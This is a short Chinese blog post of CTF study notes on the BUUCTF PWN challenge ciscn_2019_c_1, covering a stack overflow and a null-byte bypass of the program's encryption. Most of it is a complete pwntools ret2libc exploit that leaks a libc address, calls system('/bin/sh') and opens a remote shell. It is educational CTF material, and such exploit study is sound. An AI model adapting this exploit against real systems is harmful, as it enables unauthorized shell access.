【BUUCTF - PWN】学习笔记

【BUUCTF - PWN】ciscn_2019_c_1

参考链接【BUUCTF - PWN】ciscn_2019_c_1
0. 安装LibcSearcher
LibcSearcher的安装使用
LibcSearcher
可以安装也可以直接将LibcSearcher.py拿到同一目录下直接使用,安装方式 git clone https://github.com/lieanu/LibcSearcher.git cd LibcSearcher python setup.py develop

  1. checksec file
  2. 使用IDA查看文件
    发现encrypt函数内存在栈溢出漏洞
    由于程序会将输入的内容加密,这会破坏我们的payload,所以注意到strlen函数,通过在payload开头放上 \0 来绕过加密 由于程序内没有后门函数,也没有system函数,所以考虑ret2libc
  3. 构造payload
from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('xxx',xxx)
elf=ELF('./ciscn_2019_c_1')

ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sla('encrypted\n',payload)
rl()
rl()
puts=u64(ru('\n')[:-1].ljust(8,'\0'))
libc=LibcSearcher('puts',puts)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encrypted\n',payload)

io.interactive()

。。。。

posted @ 2021-03-25 18:43  MTcx  阅读(366)  评论(0编辑  收藏  举报